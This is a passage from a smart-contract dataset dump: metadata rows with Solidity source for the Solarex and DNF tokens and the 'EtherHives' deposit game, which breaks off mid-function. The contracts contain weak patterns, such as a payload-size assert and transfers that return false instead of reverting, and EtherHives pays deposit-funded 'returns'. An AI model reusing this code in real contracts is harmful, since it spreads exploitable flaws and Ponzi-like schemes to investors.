require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(15).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
}
| 251,130 | 13,544 |
d4ab01c82ff46b03f30bc70b155379dea6dfa9b8c95b20950a7af797d0d26d3c
| 11,458 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x3498a750cf528c9f8b6ab908754537ca3d7ecc33.sol
| 2,353 | 9,382 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract owned {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is owned {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
interface ERC20Token {
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant external returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) external returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract StandardToken is ERC20Token, Pausable {
using SafeMath for uint;
modifier onlyPayloadSize(uint size) {
assert(msg.data.length == size.add(4));
_;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) whenNotPaused external returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(2 * 32) whenNotPaused external returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant external returns (uint256 balance) {
return balances[_owner];
}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) whenNotPaused public returns (bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public _totalSupply;
}
//The Contract Name
contract Solarex is StandardToken{
using SafeMath for uint;
string public name; //fancy name: eg Simon Bucks
uint8 public decimals;
string public symbol; //An identifier: eg SBX
string public version = 'V1.0'; //Version 0.1 standard. Just an arbitrary versioning scheme.
uint256 private fulltoken;
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
//
// CHANGE THESE VALUES FOR YOUR TOKEN
//
//make sure this function name matches the contract name above. ERC20Token
function Solarex() public{
fulltoken = 2400000000;
decimals = 6; // Amount of decimals for display purposes
_totalSupply = fulltoken.mul(10 ** uint256(decimals)); // Update total supply (100000 for example)
balances[msg.sender] = _totalSupply; // Give the creator all initial tokens (100000 for example)
name = "Solarex"; // Set the name for display purposes
symbol = "SRX"; // Set the symbol for display purposes
}
function() public {
//not payable fallback function
revert();
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/// @return total amount of tokens
function totalSupply() constant public returns (uint256 supply){
return _totalSupply;
}
function burn(uint256 _value) onlyOwner public returns (bool success) {
require(balances[msg.sender] >= _value); // Check if the sender has enough
balances[msg.sender] = balances[msg.sender].sub(_value); // Subtract from the sender
_totalSupply = _totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
return true;
}
function burnFrom(address _from, uint256 _value) onlyOwner public returns (bool success) {
require(balances[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowed[_from][msg.sender]); // Check allowance
balances[_from] = balances[_from].sub(_value); // Subtract from the targeted balance
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
_totalSupply = _totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
emit Transfer(_from, address(0), _value);
return true;
}
function onlyPayForFuel() public payable onlyOwner{
// Owner will pay in contract to bear the gas price if transactions made from contract
}
function withdrawEtherFromcontract(uint _amountInwei) public onlyOwner{
require(address(this).balance > _amountInwei);
require(msg.sender == owner);
owner.transfer(_amountInwei);
}
function withdrawTokensFromContract(uint _amountOfTokens) public onlyOwner{
require(balances[this] >= _amountOfTokens);
require(msg.sender == owner);
balances[msg.sender] = balances[msg.sender].add(_amountOfTokens); // adds the amount to owner's balance
balances[this] = balances[this].sub(_amountOfTokens); // subtracts the amount from contract balance
emit Transfer(this, msg.sender, _amountOfTokens); // execute an event reflecting the change
}
}
| 193,569 | 13,545 |
f08a7e6aec296d36b8c06f1aadd5e3f42e7a8e920bd77755f7143c973dc9a74e
| 18,147 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TH/THcXSqr5ivB7vAAjTZTXJ3N9tAmwTjsxqB_DNFToken.sol
| 3,232 | 12,025 |
//SourceUnit: DNF.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface ITRC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma experimental ABIEncoderV2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
contract DNFToken is Context, ITRC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name = 'DNFToken';
string private _symbol = 'DNF';
uint8 private _decimals = 6;
uint256 private _totalSupply = 5888 * 10**uint256(_decimals);
address private _burnPool = address(0);
address private _fundAddress;
uint256 public _burnFee = 5;
uint256 private _previousBurnFee = _burnFee;
uint256 public _liquidityFee = 0;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _fundFee = 0;
uint256 private _previousFundFee = _fundFee;
uint256 public MAX_STOP_FEE_TOTAL = 3000 * 10**uint256(_decimals);
mapping(address => bool) private _isExcludedFromFee;
uint256 private _burnFeeTotal;
uint256 private _liquidityFeeTotal;
uint256 private _fundFeeTotal;
bool private inSwapAndLiquify = false;
bool public swapAndLiquifyEnabled = true;
address public _exchangePool;
uint256 public constant delay = 15 minutes;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(uint256 tokensSwapped,
uint256 trxReceived,
uint256 tokensIntoLiqudity);
event InitLiquidity(uint256 tokensAmount,
uint256 trxAmount,
uint256 liqudityAmount);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address fundAddress) public {
_fundAddress = fundAddress;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
receive () external payable {}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setMaxStopFeeTotal(uint256 total) public onlyOwner {
MAX_STOP_FEE_TOTAL = total;
restoreAllFee();
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setExchangePool(address exchangePool) public onlyOwner {
_exchangePool = exchangePool;
}
function totalBurnFee() public view returns (uint256) {
return _burnFeeTotal;
}
function totalFundFee() public view returns (uint256) {
return _fundFeeTotal;
}
function totalLiquidityFee() public view returns (uint256) {
return _liquidityFeeTotal;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
if (_totalSupply <= MAX_STOP_FEE_TOTAL) {
removeAllFee();
_transferStandard(sender, recipient, amount);
} else {
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool) {
restoreAllFee();
}
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getValues(tAmount);
_balances[sender] = _balances[sender].sub(tAmount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
if(!_isExcludedFromFee[sender] &&
!_isExcludedFromFee[recipient] &&
recipient != _exchangePool) {
_balances[_exchangePool] = _balances[_exchangePool].add(tLiquidity);
_liquidityFeeTotal = _liquidityFeeTotal.add(tLiquidity);
_balances[_fundAddress] = _balances[_fundAddress].add(tFund);
_fundFeeTotal = _fundFeeTotal.add(tFund);
_totalSupply = _totalSupply.sub(tBurn);
_burnFeeTotal = _burnFeeTotal.add(tBurn);
emit Transfer(sender, _exchangePool, tLiquidity);
emit Transfer(sender, _fundAddress, tFund);
emit Transfer(sender, _burnPool, tBurn);
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(10 ** 2);
}
function calculateFundFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_fundFee).div(10 ** 2);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getTValues(tAmount);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256,uint256, uint256) {
uint256 tBurn = calculateBurnFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tFund = calculateFundFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tBurn).sub(tLiquidity).sub(tFund);
return (tTransferAmount, tBurn, tLiquidity, tFund);
}
function removeAllFee() private {
if(_liquidityFee == 0 && _burnFee == 0 && _fundFee == 0) return;
_previousLiquidityFee = _liquidityFee;
_previousBurnFee = _burnFee;
_previousFundFee = _fundFee;
_liquidityFee = 0;
_burnFee = 0;
_fundFee = 0;
}
function restoreAllFee() private {
_liquidityFee = _previousLiquidityFee;
_burnFee = _previousBurnFee;
_fundFee = _previousFundFee;
}
}
| 293,961 | 13,546 |
b940aaf7dc8569508655eba428e70aba45eee8da0776aa776b21a645bd29f486
| 20,739 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xb921BeF78ce96Fd1489C145363aA4848d0b4c472/contract.sol
| 5,819 | 19,703 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract UserBonus {
using SafeMath for uint256;
uint256 public constant BONUS_PERCENTS_PER_WEEK = 1;
uint256 public constant BONUS_TIME = 1 weeks;
struct UserBonusData {
uint256 threadPaid;
uint256 lastPaidTime;
uint256 numberOfUsers;
mapping(address => bool) userRegistered;
mapping(address => uint256) userPaid;
}
UserBonusData public bonus;
event BonusPaid(uint256 users, uint256 amount);
event UserAddedToBonus(address indexed user);
modifier payRepBonusIfNeeded {
payRepresentativeBonus();
_;
}
constructor() public {
bonus.lastPaidTime = block.timestamp;
}
function payRepresentativeBonus() public {
while (bonus.numberOfUsers > 0 && bonus.lastPaidTime.add(BONUS_TIME) <= block.timestamp) {
uint256 reward = address(this).balance.mul(BONUS_PERCENTS_PER_WEEK).div(100);
bonus.threadPaid = bonus.threadPaid.add(reward.div(bonus.numberOfUsers));
bonus.lastPaidTime = bonus.lastPaidTime.add(BONUS_TIME);
emit BonusPaid(bonus.numberOfUsers, reward);
}
}
function userRegisteredForBonus(address user) public view returns(bool) {
return bonus.userRegistered[user];
}
function userBonusPaid(address user) public view returns(uint256) {
return bonus.userPaid[user];
}
function userBonusEarned(address user) public view returns(uint256) {
return bonus.userRegistered[user] ? bonus.threadPaid.sub(bonus.userPaid[user]) : 0;
}
function retrieveBonus() public virtual payRepBonusIfNeeded {
require(bonus.userRegistered[msg.sender], "User not registered for bonus");
uint256 amount = Math.min(address(this).balance, userBonusEarned(msg.sender));
bonus.userPaid[msg.sender] = bonus.userPaid[msg.sender].add(amount);
msg.sender.transfer(amount);
}
function _addUserToBonus(address user) internal payRepBonusIfNeeded {
require(!bonus.userRegistered[user], "User already registered for bonus");
bonus.userRegistered[user] = true;
bonus.userPaid[user] = bonus.threadPaid;
bonus.numberOfUsers = bonus.numberOfUsers.add(1);
emit UserAddedToBonus(user);
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function renounceOwnership() public override(Ownable) onlyOwner {
revert();
}
function transferOwnership(address newOwner) public override(Ownable) onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() public virtual onlyPendingOwner {
transferOwnership(pendingOwner);
delete pendingOwner;
}
}
contract EtherHives is Claimable, UserBonus {
struct Player {
uint256 registeredDate;
bool airdropCollected;
address referrer;
uint256 balanceHoney;
uint256 balanceWax;
uint256 points;
uint256 medals;
uint256 qualityLevel;
uint256 lastTimeCollected;
uint256 unlockedBee;
uint256[BEES_COUNT] bees;
uint256 totalDeposited;
uint256 totalWithdrawed;
uint256 referralsTotalDeposited;
uint256 subreferralsCount;
address[] referrals;
}
uint256 public constant BEES_COUNT = 8;
uint256 public constant SUPER_BEE_INDEX = BEES_COUNT - 1;
uint256 public constant TRON_BEE_INDEX = BEES_COUNT - 2;
uint256 public constant MEDALS_COUNT = 10;
uint256 public constant QUALITIES_COUNT = 6;
uint256[BEES_COUNT] public BEES_PRICES = [0e18, 1500e18, 7500e18, 30000e18, 75000e18, 250000e18, 750000e18, 100000e18];
uint256[BEES_COUNT] public BEES_LEVELS_PRICES = [0e18, 0e18, 11250e18, 45000e18, 112500e18, 375000e18, 1125000e18, 0];
uint256[BEES_COUNT] public BEES_MONTHLY_PERCENTS = [0, 220, 223, 226, 229, 232, 235, 333];
uint256[MEDALS_COUNT] public MEDALS_POINTS = [0e18, 50000e18, 190000e18, 510000e18, 1350000e18, 3225000e18, 5725000e18, 8850000e18, 12725000e18, 23500000e18];
uint256[MEDALS_COUNT] public MEDALS_REWARDS = [0e18, 3500e18, 10500e18, 24000e18, 65000e18, 140000e18, 185000e18, 235000e18, 290000e18, 800000e18];
uint256[QUALITIES_COUNT] public QUALITY_HONEY_PERCENT = [80, 82, 84, 86, 88, 90];
uint256[QUALITIES_COUNT] public QUALITY_PRICE = [0e18, 15000e18, 50000e18, 120000e18, 250000e18, 400000e18];
uint256 public constant COINS_PER_ETH = 250000;
uint256 public constant MAX_BEES_PER_TARIFF = 32;
uint256 public constant FIRST_BEE_AIRDROP_AMOUNT = 500e18;
uint256 public constant ADMIN_PERCENT = 10;
uint256 public constant HONEY_DISCOUNT_PERCENT = 10;
uint256 public constant SUPERBEE_PERCENT_UNLOCK = 5;
uint256 public constant SUPER_BEE_BUYER_PERIOD = 7 days;
uint256[] public REFERRAL_PERCENT_PER_LEVEL = [5, 3, 2];
uint256[] public REFERRAL_POINT_PERCENT = [50, 25, 0];
uint256 public maxBalance;
uint256 public totalPlayers;
uint256 public totalDeposited;
uint256 public totalWithdrawed;
uint256 public totalBeesBought;
mapping(address => Player) public players;
event Registered(address indexed user, address indexed referrer);
event Deposited(address indexed user, uint256 amount);
event Withdrawed(address indexed user, uint256 amount);
event ReferrerPaid(address indexed user, address indexed referrer, uint256 indexed level, uint256 amount);
event MedalAwarded(address indexed user, uint256 indexed medal);
event QualityUpdated(address indexed user, uint256 indexed quality);
event RewardCollected(address indexed user, uint256 honeyReward, uint256 waxReward);
event BeeUnlocked(address indexed user, uint256 bee);
event BeesBought(address indexed user, uint256 bee, uint256 count);
constructor() public {
_register(owner(), address(0));
}
receive() external payable {
if (msg.value == 0) {
if (players[msg.sender].registeredDate > 0) {
collect();
}
} else {
deposit(address(0));
}
}
function playerBees(address who) public view returns(uint256[BEES_COUNT] memory) {
return players[who].bees;
}
function superBeeUnlocked() public view returns(bool) {
return address(this).balance <= maxBalance.mul(100 - SUPERBEE_PERCENT_UNLOCK).div(100);
}
function referrals(address user) public view returns(address[] memory) {
return players[user].referrals;
}
function referrerOf(address user, address ref) internal view returns(address) {
if (players[user].registeredDate == 0 && ref != user) {
return ref;
}
return players[user].referrer;
}
function transfer(address account, uint256 amount) public returns(bool) {
require(msg.sender == owner());
collect();
_payWithWaxAndHoney(msg.sender, amount);
players[account].balanceWax = players[account].balanceWax.add(amount);
return true;
}
function deposit(address ref) public payable payRepBonusIfNeeded {
Player storage player = players[msg.sender];
address refAddress = referrerOf(msg.sender, ref);
require((msg.value == 0) != player.registeredDate > 0, "Send 0 for registration");
if (player.registeredDate == 0) {
_register(msg.sender, refAddress);
}
collect();
uint256 wax = msg.value.mul(COINS_PER_ETH);
player.balanceWax = player.balanceWax.add(wax);
player.totalDeposited = player.totalDeposited.add(msg.value);
totalDeposited = totalDeposited.add(msg.value);
player.points = player.points.add(wax);
emit Deposited(msg.sender, msg.value);
_distributeFees(msg.sender, wax, msg.value, refAddress);
_addToBonusIfNeeded(msg.sender);
uint256 adminWithdrawed = players[owner()].totalWithdrawed;
maxBalance = Math.max(maxBalance, address(this).balance.add(adminWithdrawed));
}
function withdraw(uint256 amount) public {
Player storage player = players[msg.sender];
collect();
uint256 value = amount.div(COINS_PER_ETH);
require(value > 0, "Trying to withdraw too small");
player.balanceHoney = player.balanceHoney.sub(amount);
player.totalWithdrawed = player.totalWithdrawed.add(value);
totalWithdrawed = totalWithdrawed.add(value);
msg.sender.transfer(value);
emit Withdrawed(msg.sender, value);
}
function collect() public payRepBonusIfNeeded {
Player storage player = players[msg.sender];
require(player.registeredDate > 0, "Not registered yet");
if (userBonusEarned(msg.sender) > 0) {
retrieveBonus();
}
(uint256 balanceHoney, uint256 balanceWax) = instantBalance(msg.sender);
emit RewardCollected(msg.sender,
balanceHoney.sub(player.balanceHoney),
balanceWax.sub(player.balanceWax));
if (!player.airdropCollected && player.registeredDate < now) {
player.airdropCollected = true;
}
player.balanceHoney = balanceHoney;
player.balanceWax = balanceWax;
player.lastTimeCollected = block.timestamp;
}
function instantBalance(address account)
public
view
returns(uint256 balanceHoney,
uint256 balanceWax)
{
Player storage player = players[account];
if (player.registeredDate == 0) {
return (0, 0);
}
balanceHoney = player.balanceHoney;
balanceWax = player.balanceWax;
uint256 collected = earned(account);
if (!player.airdropCollected && player.registeredDate < now) {
collected = collected.sub(FIRST_BEE_AIRDROP_AMOUNT);
balanceWax = balanceWax.add(FIRST_BEE_AIRDROP_AMOUNT);
}
uint256 honeyReward = collected.mul(QUALITY_HONEY_PERCENT[player.qualityLevel]).div(100);
uint256 waxReward = collected.sub(honeyReward);
balanceHoney = balanceHoney.add(honeyReward);
balanceWax = balanceWax.add(waxReward);
}
function unlock(uint256 bee) public payable payRepBonusIfNeeded {
Player storage player = players[msg.sender];
if (msg.value > 0) {
deposit(address(0));
}
collect();
require(bee < SUPER_BEE_INDEX, "No more levels to unlock");
require(player.bees[bee - 1] == MAX_BEES_PER_TARIFF, "Prev level must be filled");
require(bee == player.unlockedBee + 1, "Trying to unlock wrong bee type");
if (bee == TRON_BEE_INDEX) {
require(player.medals >= 9);
}
_payWithWaxAndHoney(msg.sender, BEES_LEVELS_PRICES[bee]);
player.unlockedBee = bee;
player.bees[bee] = 1;
emit BeeUnlocked(msg.sender, bee);
}
function buyBees(uint256 bee, uint256 count) public payable payRepBonusIfNeeded {
Player storage player = players[msg.sender];
if (msg.value > 0) {
deposit(address(0));
}
collect();
require(bee > 0 && bee < BEES_COUNT, "Don't try to buy bees of type 0");
if (bee == SUPER_BEE_INDEX) {
require(superBeeUnlocked(), "SuperBee is not unlocked yet");
require(block.timestamp.sub(player.registeredDate) < SUPER_BEE_BUYER_PERIOD, "You should be registered less than 7 days ago");
} else {
require(bee <= player.unlockedBee, "This bee type not unlocked yet");
}
require(player.bees[bee].add(count) <= MAX_BEES_PER_TARIFF);
player.bees[bee] = player.bees[bee].add(count);
totalBeesBought = totalBeesBought.add(count);
uint256 honeySpent = _payWithWaxAndHoney(msg.sender, BEES_PRICES[bee].mul(count));
_distributeFees(msg.sender, honeySpent, 0, referrerOf(msg.sender, address(0)));
emit BeesBought(msg.sender, bee, count);
}
function updateQualityLevel() public payRepBonusIfNeeded {
Player storage player = players[msg.sender];
collect();
require(player.qualityLevel < QUALITIES_COUNT - 1);
_payWithHoneyOnly(msg.sender, QUALITY_PRICE[player.qualityLevel + 1]);
player.qualityLevel++;
emit QualityUpdated(msg.sender, player.qualityLevel);
}
function earned(address user) public view returns(uint256) {
Player storage player = players[user];
if (player.registeredDate == 0) {
return 0;
}
uint256 total = 0;
for (uint i = 1; i < BEES_COUNT; i++) {
total = total.add(player.bees[i].mul(BEES_PRICES[i]).mul(BEES_MONTHLY_PERCENTS[i]).div(100));
}
return total
.mul(block.timestamp.sub(player.lastTimeCollected))
.div(30 days)
.add(player.airdropCollected || player.registeredDate == now ? 0 : FIRST_BEE_AIRDROP_AMOUNT);
}
function collectMedals(address user) public payRepBonusIfNeeded {
Player storage player = players[user];
collect();
for (uint i = player.medals; i < MEDALS_COUNT; i++) {
if (player.points >= MEDALS_POINTS[i]) {
player.balanceWax = player.balanceWax.add(MEDALS_REWARDS[i]);
player.medals = i + 1;
